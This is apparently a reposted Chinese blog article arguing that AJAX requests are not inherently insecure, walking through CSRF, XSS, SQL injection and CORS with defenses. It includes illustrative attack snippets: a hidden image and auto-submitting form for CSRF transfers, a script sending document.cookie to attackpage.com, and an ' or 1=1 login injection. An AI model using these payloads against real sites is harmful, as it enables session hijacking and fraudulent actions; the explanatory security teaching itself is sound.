你的AJAX 请求真的安全?
作者 :撒网要见鱼
链接 :cnblogs.com/dailc/p/8191150.html
-
AJAX请求真的不安全么? -
AJAX请求哪里不安全? -
怎么样让AJAX请求更安全?
另外,见解有限,如有描述不当之处,请帮忙及时指出。
从入坑前端开始,一直到现在,AJAX请求都是以极高的频率重复出现,也解决过不少AJAX中遇到的问题,如跨域调试,错误调试等等。
从这种,发现了一个共通现象:那就是每次和后台人员对接时,他们都会提到AJAX请求不安全,请用普通http请求!
虽然很多时候,都是经过多翻口舌之争后,最终后台那边妥协,允许部分符合条件的AJAX请求。但是,我却很纠结一个问题:AJAX请求真的不安全么?为什么我自己写后台时并没有发现这个问题?
于是,开始准备搜集资料,结合自己已有的认知,整理成一份解决方案,分析AJAX请求真的不安全么?哪里不安全?,后续遇到类似的问题就直接向对方抛出一篇文章
AJAX请求真的不安全么
AJAX不安全的说法从何而来
常见的几种Web前端安全问题
CSRF简介
CSRF与AJAX的关系
XSS简介
XSS与AJAX的关系
SQL注入简介
SQL注入与AJAX的关系
AJAX和HTTP请求的区别
CORS与AJAX安全性之间的关联
CORS与AJAX关系的简介
为什么要配置CORS?
CORS会配置些什么信息?
CORS Origin: *的安全性
再看,AJAX请求真的不安全么?
AJAX请求哪里不安全?
怎么样让AJAX请求更安全?
AJAX请求真的不安全么
首先,先说一个定论:AJAX请求是否安全,由服务端(后台)决定
有这样一个说法:
如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的
AJAX不安全的说法从何而来?
So,AJAX不安全的说法自然扩散到了各个角落。
常见的几种Web前端安全问题
1.XSS(跨站脚本攻击)(cross-site scripting)
-> 伪造会话(基于XSS实现CSRF)
-> 劫持cookie
-> 恶意代码执行
2.CSRF(跨站请求伪造)(cross-site request forgery)
-> 伪造用户身份操作
3. SQL注入
...(其它暂且不提)
CSRF简介
注,下面介绍参考了来源文章中的描述,譬如图就是参考了来源中的博文后重绘的
-
采用cookie来进行用户校验 -
登录受信任网站A,并在本地生成Cookie -
在不登出A的情况下,访问危险网站B
// 1.譬如在网站内的图片资源中潜入恶意的转账操作
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
// 2.构建恶意的隐藏表单,并通过脚本提交恶意请求
<iframe style="display: none;" name="csrf-frame"></iframe>
<form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">
<input type='hidden' name='toBankId' value='hello'>
<input type='hidden' name='amount' value='1000000'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
1. 验证HTTP Referer字段(非常简单,但是鉴于客户端并不可信任,所以并不是很安全)
防止CSRF,检查Referer字段简单直接,但是其完全依赖浏览器发送正确的Referer字段。
虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,
亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。
譬如post中,以参数的形式加入一个随机产生的token
CSRF与AJAX的关系
1. AJAX受到浏览器的同源策略限制
2. AJAX默认无法请求跨域的接口
当然后台可以配置Access-Control-Allow-Origin: *
之类的允许所有的跨域请求
3. AJAX请求无法携带跨域cookie
如果强行开启withCredentials,必须服务端配合认证,无法用作攻击
嗯哼…看到这,基本就可以认为CSRF与AJAX请求无缘了……..
Access-Control-Allow-Origin: *
,由于网站B与网站A是不同域名,所以存在跨域,根据同源策略,请求时根本就无法携带cookie,故而无法通过身份认证,攻击失败…..
Access-Control-Allow-Credentials: true
,而且这时候不允许设置
Allow-Origin: *
),所以肯定认证失败。
Access-Control-Allow-Origin: *
允许所有来源的AJAX请求,跨域的cookie默认情况下仍然是无法携带的,无法CSRF
所以说,结论是:CSRF与AJAX无关
XSS简介
相比CSRF,XSS囊括的内容更多,而且往往是多种攻击形式组合而成,这里以前文中介绍的几种为例:
1.cookie劫持
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="saveComment.jsp" method="post">
请输入评论内容:<BR>
<input name="content" type="text">
<input type="submit" value="确认">
</form>
<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>
攻击者可以在cookie(譬如jsessionid对应的session)有效期内拿它们冒充用户操作。
2.会话伪造
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
需要注意,这里并没有自己拿到cookie,而是CSRF中提到的利用浏览器的隐式验证机制来冒充用户。
3.其它恶意代码执行
-
譬如市面上盛行的网页游戏弹窗等。 -
譬如干脆直接让这个页面卡死都可以。 -
譬如无限循环。
它的特点就是:富文本中注入了脚本,并且前后端未进行过滤,导致直接输出到了页面中
结论:
-
反射型XSS攻击(直接通过URL注入,而且很多浏览器都自带防御) -
存储型XSS攻击(存储到DB后读取时注入) -
还有一个DOM-Based型。
如何预防XSS:
<
、
>
、
/
等可能导致脚本注入的特殊字符,或者过滤
script
、
javascript
等脚本关键字,或者对输入数据的长度进行限制等等,还得考虑攻击者使用十六进制编码来输入脚本的方式。
http-only
,这样用脚本就无法获取cookie了(这样只有浏览器向Web服务器发起请求的时才会带上cookie字段,避免了XSS攻击利用JavaScript的
document.cookie
获取cookie)
注意,特别是后台,一定不能信任前端的输入,需要过滤与校验
-
某个接口采用AJAX交互 -
AJAX请求完后将对应富文本字段显示到了页面上-譬如innerHTML
SQL注入简介
前提是后台没有过滤前端的输入数据,否则根本无法生效
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="login.jsp" method="post">
请输入用户名与密码:<BR>
<input name="name" type="text">
<input name="password" type="text">
<input type="submit" value="登陆">
</form>
String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";
name = ' or 1=1
password = anything
那么这样,后台接收到数据后,实际上查询的结果是
SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything'
SQL注入与AJAX的关系
额,从上述的示例中看不出和AJAX有什么关系。但是我们可以这样假设:
有一个接口,接收
AJAX post
的数据数据中有一个字段
name
,后台接收到后没有进行过滤,直接如上面的演示一样,执行sql语句了所以AJAX中如果给那个字段传入非法的注入信息,就会触发这个漏洞,导致攻击生效
对,就是这样极端的情况下才会发生,而且与AJAX并没有关系,因为换成任何一种其它请求都会有类似的情况….
所以说,结论是:SQL注入与AJAX无关
AJAX和HTTP请求的区别
XMLHTTPRequest
对象就是浏览器开放给JS调用HTTP请求用的。
-
AJAX请求受到浏览器的同源策略限制,存在跨域问题 -
AJAX在进行复杂请求时,浏览器会预先发出OPTIONS预检(HTTP自己是不会预检的) -
从使用角度上说,AJAX使用简单一点,少了些底层细节,多了些浏览器特性(如自动带上同域cookie等) -
所以说,和认证上的HTTP请求的区别就是-多了一次浏览器的封装而已(浏览器会有自己的预处理,加上特定限制)
CORS与AJAX安全性之间的关联
CORS与AJAX关系的简介
-
前端AJAX请求前发出一个OPTIONS预检,会带一堆相关头部发送给服务端 -
服务端在接受到预检时,检查头部,来源等信息是否合法,合法则接下来允许正常的请求,
否则直接无情的拒绝掉 -
浏览器端如果收到服务端拒绝的信息(响应头部检查),就抛出对应错误。
否则就是正常的响应,接下来发出真正的请求(如POST)
Request Headers
// 在CORS中专门作为Origin信息供后端比对,表示来源域。
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With
// 所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中,一般POST请求中就会带上
Access-Control-Request-Method: OPTIONS
Response Headers
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
最终,客户端发出的请求,必须符合服务端的校验规则才能正确,服务端才会返回正确头部,否则只会请求失败。报跨域错误。
以上仅是简介,更多信息可以参考来源中的ajax跨域,这应该是最全的解决方案了
为什么要配置CORS?
因为同源策略限制,AJAX无法请求跨域资源,CORS可以解决AJAX跨域请求问题。
因此:在本文中,配置CORS只是为了AJAX能跨域请求
CORS会配置些什么信息?
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
如上,加上这个配置后,必须符合要求的才算是正常的请求,否则就会拒绝掉,一般AJAX跨域的话都会有OPTIONS,所以在预检中就做了这一步。
可以看到,关键的可变信息是:Access-Control-Allow-Origin: http://xxx
这个配置就是域名白名单,规定在什么样的域名下才能进行AJAX跨域请求。
CORS Origin: *的安全性
关键问题来了,在上面的CORS配置是这样的:
Access-Control-Allow-Origin: http://xxx
Access-Control-Allow-Origin: *
Origin: *
可能带来哪些问题。(都是基于AJAX的情况)
问题1:会对cookie认证造成影响么?
问题2:如果伪造Origin头部呢?
问题3:如果后台本来就存在漏洞呢?
// 允许任何来自任意域的跨域请求
Access-Control-Allow-Origin: *
192.168.111.23/users.md
192.168.111.23/users.md
请求资源,再将接收到的服务端返回发送到攻击者服务器。(因为加了Origin为*,而且AJAX是由本地浏览器发出的,所以用户下载到本地的恶意网站是可以访问到用户内网中的后台的)
而且更重要的是,为何敏感资源就这样轻易的被获取了?为什么没有二次验证?
Origin如果不是,AJAX请求并不会有安全问题,如果是,可能会由于后台的漏洞,不经意间,AJAX就被作为一种攻击手段了,导致了出现AJAX不安全的说法
如果某个Web应用具备良好的安全性,那么再怎么用 不安全的AJAX
也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的
Origin: *
造成某些极端情况下能通过AJAX发出攻击。但事实上这也是其中的一种攻击手段而已,没有AJAX,该不安全的仍然不安全。
最重要一点,从Web应用安全角度来谈,Web应用必须从不信任客户端。所以不要再把锅甩给AJAX。
AJAX请求哪里不安全?
-
Allow-Origin可以设置特定的值,过滤特定的白名单 -
对于一些公共的API,可以直接将Allow-Origin设置为 *
-
当然,如果确认后台没有这些隐藏漏洞,可以直接使用 *
,毕竟也只是针对浏览器的同源策略而已,影响没有那么大。
写在最后的话
参考资料
https://dwz.cn/4L494n0l blog.csdn.net/ghsau/article/details/17027893 cnblogs.com/lovesong/p/5199623.html blog.csdn.net/wei00d6ra/article/details/39137849 https://segmentfault.com/q/1010000002500378/ blog.csdn.net/fengyinchao/article/details/50775121 https://segmentfault.com/a/1190000012469713
1、
2、
3、
4、
5、
6、
7、
8、